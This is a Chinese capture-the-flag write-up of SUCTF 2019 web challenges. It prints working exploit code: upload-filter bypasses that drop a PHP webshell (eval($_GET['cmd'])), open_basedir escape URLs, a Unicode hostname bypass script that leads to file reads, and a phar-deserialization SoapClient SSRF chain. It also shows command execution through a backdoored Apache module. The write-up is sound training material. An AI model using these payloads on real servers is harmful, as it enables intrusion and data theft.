前言 正逢暑假的闲暇之余,和De1ta的师傅们打了一下suctf2019
,下面记录一下web的题解
web CheckIn 简单地看一下它过滤,大概有3个点:
不能上传ph
结尾的文件,
上传的文件内容不能有<?
,
用exif_imagetype
函数检测上传文件是否为图片文件
第一反应是上传一个.htaccess
,把其它文件格式解析为php文件,但是发现并不行,应该是apache的AllowOverride
为None
,所以只能另寻他路了,这里卡了很久,回头看一下群发现队里的师傅已经解出来了,告诉我用.user.ini
文件,关于.user.ini
文档是这么描述的:
1 2 3 4 5 6 7 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。 user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
那么我们的思路就很清晰了,把具有PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置写入.user.ini
文件,然后等待user_ini.cache_ttl
时间过后他会自动读取用户的ini
文件,现在问题修改什么配置,参考了这篇文章 ,发现auto_prepend_file=file
可以,auto_prepend_file
大致意思是在执行文件之前包含它的值,那么思路就很清晰了,我们先上传一个.user.ini
文件,然后再上传一个webshell上去,最后访问一个php文件去自动包含我们的webshell,很巧目录之下刚好有一个index.php
文件。
过滤<?
的话我们可以用<script language="php"><script>
绕过,图片检测我可以随便加一个图片文件头或者是加上#define xlogo_width 200 \n#define xlogo_height 200
即可绕过
image.png
image.png
image.png
image.png
EasyPHP 题目源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 66666 66666 <?php function get_the_flag () { $userdir = "upload/tmp_" .md5($_SERVER['REMOTE_ADDR' ]); if (!file_exists($userdir)){ mkdir($userdir); } if (!empty ($_FILES["file" ])){ $tmp_name = $_FILES["file" ]["tmp_name" ]; $name = $_FILES["file" ]["name" ]; $extension = substr($name, strrpos($name,"." )+1 ); if (preg_match("/ph/i" ,$extension)) die ("^_^" ); if (mb_strpos(file_get_contents($tmp_name), '<?' )!==False ) die ("^_^" ); if (!exif_imagetype($tmp_name)) die ("^_^" ); $path= $userdir."/" .$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_' ]; if (!$hhh){ highlight_file(__FILE__ ); } if (strlen($hhh)>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh) ) die ('Try something else!' ); $character_type = count_chars($hhh, 3 ); if (strlen($character_type)>12 ) die ("Almost there!" );eval ($hhh);?>
这题考察了php的复杂变量,但是做题时候一直没有get到这个点,我太难了,一直用类似这样的payload:(x^x)
,((x)^(x))
走了弯路,发现并没有解析。最后泽君师傅get到点了 payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 PS:``$_GET[0xff]``可以用``$_GET{0xff}``代替,正则绕过了,现在想办法上传文件,和``CheckIn``差不多,高兴的是这题的``.htaccess``文件可以用,难受的是之前``<script language="php">``用不了,于是找到了[这篇文章](https://thibaudrobin.github.io/articles/bypass-filter-upload/ "这篇文章"),改一下作者的脚本就行了 ```python import requests SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .xxx\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() def upload(): url='http://47.111.59.243:9001/?_=${%a0%B8%BA%AB^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag' filename=[".htaccess","1.xxx"] for x in filename: file={"file":open(x,"rb")} req = requests.post(url=url, files=file) print(req.content) if __name__=="__main__": generate_htacess() generate_php_file("1.xxx", "<?php eval($_GET['cmd']); die(); ?>") upload()
上传一波
image.png
访问一下
image.png
扫描根目录发现不行,发现有open_basedir
image.png
然后就是常规套路绕过了
1 http://47.111.59.243:9001/upload/tmp_7d636cd22c795a0d9c176a4c99451654/1.xxx?cmd=chdir(%27tmp%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir(%22/%22));
image.png
得到flag
1 http://47.111.59.243:9001/upload/tmp_7d636cd22c795a0d9c176a4c99451654/1.xxx?cmd=chdir(%27tmp%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);readfile(%22/THis_Is_tHe_F14g%22);
image.png
pythonnginx 这题拿了一个一血还行=。= 题目很简单明了,直接是用blackhat
议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
,其中关于python的如下图,具体PPT链接如下:PPT链接 ,我就不细说了
image.png
我们可以简单的写一个脚本来爆破一下最后一个字符串c
,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode () : for x in range(65536 ): uni=chr(x) url="http://suctf.c{}" .format(uni) try : if getUrl(url): print("str: " +uni+' unicode: \\u' +str(hex(x))[2 :]) except : pass def getUrl (url) : url = url host = parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return False newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__=="__main__" : get_unicode()
结果如下,随便拿一个字符就行
image.png
根据题目提示Dont worry about the suctf.cc. Go on!
猜测应该是hosts文件suctf.cc
绑定了127.0.0.1
,既然是127.0.0.1
我们可以尝试用file协议读一下文件
image.png
成功读取,那么现在就是找flag了,根据提示猜测flag位置可能和nginx有关,尝试读一下nginx的配置文件
image.png
得到flag
image.png
Upload labs 2
这题比赛的时候没(bu)看(hui),现在懒得复现了,这里直接贴上队友的wp了
这道题开放了不久,给了源码,接着审计一波,index.php上传这里没啥限制,限制了文件后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include 'class.php' ;$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR" ]); if (!file_exists($userdir)) { mkdir($userdir, 0777 , true ); } if (isset ($_POST["upload" ])) { $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); $tmp_name = $_FILES["file" ]["tmp_name" ]; $file_name = $_FILES["file" ]["name" ]; $temp = explode("." , $file_name); $extension = end($temp); if ((($_FILES["file" ]["type" ] == "image/gif" ) || ($_FILES["file" ]["type" ] == "image/jpeg" ) || ($_FILES["file" ]["type" ] == "image/png" )) && ($_FILES["file" ]["size" ] < 204800 ) && in_array($extension, $allowedExts) ) { $c = new Check($tmp_name); $c->check(); if ($_FILES["file" ]["error" ] > 0 ) { echo "错误:: " . $_FILES["file" ]["error" ] . "<br>" ; die (); } else { move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; } } else { echo "非法的文件格式" ; } }
func.php接受一个url参数,参数经过一个很狠的正则,会去你上传的目录找你上传的文件,获取MIME返回。
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_POST["submit" ]) && isset ($_POST["url" ])) { if (preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i' ,$_POST['url' ])){ die ("Go away!" ); }else { $file_path = $_POST['url' ]; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>" ; } }
class.php这里的File的__wakeup函数很异常,预计就是题目考点了,作用是创建一个类的新实例,给出的参数将传递到类的构造函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include 'config.php' ;class File { public $file_name; public $type; public $func = "Check" ; function __construct ($file_name) { $this ->file_name = $file_name; } function __wakeup () { $class = new ReflectionClass($this ->func); $a = $class->newInstanceArgs($this ->file_name); $a->check(); } function getMIME () { $finfo = finfo_open(FILEINFO_MIME_TYPE); $this ->type = finfo_file($finfo, $this ->file_name); finfo_close($finfo); } function __toString () { return $this ->type; } } class Check { public $file_name; function __construct ($file_name) { $this ->file_name = $file_name; } function check () { $data = file_get_contents($this ->file_name); if (mb_strpos($data, "<?" ) !== FALSE ) { die ("<? in contents!" ); } } }
接下来这个admin.php,需要一个ssrf然后,之后会触发getflag函数把flag发到你服务器上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php include 'config.php' ;class Ad { public $ip; public $port; public $clazz; public $func1; public $func2; public $func3; public $instance; public $arg1; public $arg2; public $arg3; function __construct ($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3) { $this ->ip = $ip; $this ->port = $port; $this ->clazz = $clazz; $this ->func1 = $func1; $this ->func2 = $func2; $this ->func3 = $func3; $this ->arg1 = $arg1; $this ->arg2 = $arg2; $this ->arg3 = $arg3; } function check () { $reflect = new ReflectionClass($this ->clazz); $this ->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func1); $reflectionMethod->invoke($this ->instance, $this ->arg1); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func2); $reflectionMethod->invoke($this ->instance, $this ->arg2); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func3); $reflectionMethod->invoke($this ->instance, $this ->arg3); } function __destruct () { getFlag($this ->ip, $this ->port); } } if ($_SERVER['REMOTE_ADDR' ] == '127.0.0.1' ){ if (isset ($_POST['admin' ])){ $ip = $_POST['ip' ]; $port = $_POST['port' ]; $clazz = $_POST['clazz' ]; $func1 = $_POST['func1' ]; $func2 = $_POST['func2' ]; $func3 = $_POST['func3' ]; $arg1 = $_POST['arg1' ]; $arg2 = $_POST['arg2' ]; $arg2 = $_POST['arg3' ]; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } else { echo "You r not admin!" ; }
经过大致分析,需要点: ssrf、触发反序列化、上传内容不能有<?、不能直接用phar等已见的协议触发。
这里正则绕过:php://filter/resource=phar://phar.phar
ssrf: 因为可以实例化任何类,然而题目并没有给什么有用的,自然想到SoapClient
上传内容不能有<?绕过: 结合前面两题的trick<script language="php">__HALT_COMPILER();</script>
触发反序列化:$this->type = finfo_file($finfo, $this->file_name);
那么这些点全部都有了,直接贴exp吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php $phar = new Phar('test.phar' ); $phar->startBuffering(); $phar->addFromString('test.txt' ,'text' ); $phar->setStub('<script language="php">__HALT_COMPILER();</script>' ); class File { public $file_name = "" ; public $func = "SoapClient" ; function __construct () { $target = "http://127.0.0.1/admin.php" ; $post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=' . "\r\n" ; $headers = []; $this ->file_name = [ null , array ('location' => $target, 'user_agent' => str_replace('^^' , "\r\n" , 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers).'Content-Length: ' . (string)strlen($post_string).'^^^^' .$post_string), 'uri' =>'hello' ) ]; } } $object = new File; echo urlencode(serialize($object));$phar->setMetadata($object); $phar->stopBuffering();
把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg
image.png
easy_sql 这题运维出现了问题,导致出现源码泄露,扫描源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php session_start(); include_once "config.php" ; $post = array (); $get = array (); global $MysqlLink; $MysqlLink = mysqli_connect("localhost" ,$datauser,$datapass); if (!$MysqlLink){ die ("Mysql Connect Error!" ); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if (!$selectDB){ die ("Choose Database Error!" ); } foreach ($_POST as $k=>$v){ if (!empty ($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } ?> <html> <head> </head> <body> <a> Give me your flag, I will tell you if the flag is right. </ a> <form action="" method="post" > <input type="text" name="query" > <input type="submit" > </form> </body> </html> <?php if (isset ($post['query' ])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"" ; if (preg_match("/{$BlackList}/is" ,$post['query' ])){ die ("Nonono." ); } if (strlen($post['query' ])>40 ){ die ("Too long." ); } $sql = "select " .$post['query' ]."||flag from Flag" ; mysqli_multi_query($MysqlLink,$sql); do { if ($res = mysqli_store_result($MysqlLink)){ while ($row = mysqli_fetch_row($res)){ print_r($row); } } }while (@mysqli_next_result($MysqlLink)); } ?>
说实话虽然语句看着简单,但是搞了半天没出来,最后队里的师傅解出来了,payload如下:
image.png
这个都没想到,还是太菜了呜呜呜,不过这个是非预期解,预期解是将
sql_mode
改为
PIPES_AS_CONCAT
,也就是把
||
变为连接符
image.png
最终payload如下:
image.png
Cocktail’s Remix 这题是结合逆向的一道题,扫描一下发现有一个下载功能,可以读文件,但是试了一个常规的flag文件路径都读不到flag,猜测flag应该不在目录里面。还有一个info.php
也没有发现什么信息,猜测与题目名字有关,info.php里面搜索一下
image.png
果真有点东西,把mod_cocktail.so
文件下载下来,丢IDA
看一下
image.png
大概意思是获取Reffer
头的内容然后传入j_remix
后的字符串拿去popen
,跟进j_remix
看一下,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #include <cstdio> #include <cstring> const char * remixedchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ;int num_strchr (const char *str, char c) { char *v2; int result; v2 = strchr ((char *)str, c); if ( v2 ) result = v2 - str; else result = -1 ; return result; } void remix (const char *remixed, char *dedata) { char *v2; char v3; const char *v4; int v5; int v6; int j; int v8; int v9; v2 = dedata; v3 = *remixed; if ( *remixed ) { v4 = remixed + 1 ; v5 = 0 ; do { while ( 1 ) { v8 = 4 * num_strchr(remixedchar, v3); v9 = num_strchr(remixedchar, *v4); v2[(signed int )v5] = v8 | (v9 >> 4 ) & 3 ; if ( v4[1 ] != 61 ) break ; v4 += 4 ; v3 = *(v4 - 1 ); v5 = v5 + 1 ; if ( !*(v4 - 1 ) ) goto LABEL_8; } v6 = num_strchr(remixedchar, v4[1 ]); v2[(signed int )v5 + 1 ] = (v6 >> 2 ) & 0xF | 16 * v9; if ( v4[2 ] == 61 ) { v5 = v5 + 2 ; } else { j = v5 + 2 ; v5 = v5 + 3 ; v2[j] = num_strchr(remixedchar, v4[2 ]) & 0x3F | (v6 << 6 ); } v4 += 4 ; v3 = *(v4 - 1 ); } while ( *(v4 - 1 ) ); LABEL_8: v5 = (signed int )v5; } else { v5 = 0L L; } v2[v5] = 0 ; }
问了一下队里面的re师傅,说这个是base64,尝试一下发现可以
image.png
但是发现都找不到flag,通过之前扫描出来的config.php
,猜测flag应该在数据库里面,读一下config文件得到数据库用户密码
image.png
show databases
一下
image.png
use flag;show tables
image.png
select * from flag.flag
image.png
最后更新时间:2019-12-06 07:59:52
know it then hack it